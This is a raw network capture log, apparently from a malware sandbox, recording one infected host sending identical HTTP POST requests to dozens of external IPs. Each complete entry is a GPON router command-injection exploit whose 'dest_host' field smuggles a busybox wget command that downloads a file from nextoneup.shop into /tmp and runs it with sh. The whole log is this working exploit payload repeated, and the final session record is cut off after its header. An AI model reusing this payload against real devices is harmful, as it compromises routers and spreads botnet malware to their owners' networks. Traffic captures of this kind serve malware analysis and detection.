Session ID	Source IP	Source Port	Destination IP	Destination Port
1460	192.168.2.13	60412	109.67.12.150	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:05.098022938 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1461	192.168.2.13	60114	79.255.58.175	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:05.098032951 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1462	192.168.2.13	41430	118.135.32.194	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:05.098050117 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1463	192.168.2.13	39108	148.171.44.125	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:05.098066092 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1464	192.168.2.13	45958	37.150.239.16	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:05.098083019 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1465	192.168.2.13	42148	212.240.43.40	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:05.098092079 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1466	192.168.2.13	58966	79.215.112.78	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:05.098114014 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1467	192.168.2.13	55936	148.42.68.47	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:05.098144054 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1468	192.168.2.13	38418	109.137.167.168	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:05.098186970 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1469	192.168.2.13	41530	178.107.163.255	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:05.098187923 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1470	192.168.2.13	48824	94.161.208.121	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:05.098217964 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1471	192.168.2.13	33434	42.168.187.226	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:05.098228931 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1472	192.168.2.13	36090	178.234.184.62	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:05.098253965 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1473	192.168.2.13	41156	79.17.143.143	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:05.098254919 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1474	192.168.2.13	49556	148.186.130.146	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:05.098294020 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1475	192.168.2.13	44026	94.20.193.116	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:05.098331928 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1476	192.168.2.13	59826	94.221.195.9	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:05.098332882 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1477	192.168.2.13	48802	94.175.194.130	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:05.098360062 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1478	192.168.2.13	37868	210.78.230.175	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:05.098362923 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1479	192.168.2.13	40088	202.59.2.52	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:05.098396063 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1480	192.168.2.13	35272	212.45.154.192	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:05.098404884 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1481	192.168.2.13	36890	5.111.176.39	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:05.098442078 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1482	192.168.2.13	55672	212.185.130.172	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:05.098453045 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1483	192.168.2.13	42188	202.133.234.73	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:05.098479986 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1484	192.168.2.13	35806	117.201.42.255	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:05.098501921 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1485	192.168.2.13	41348	37.100.237.147	443

Timestamp	Bytes transferred	Direction	Data
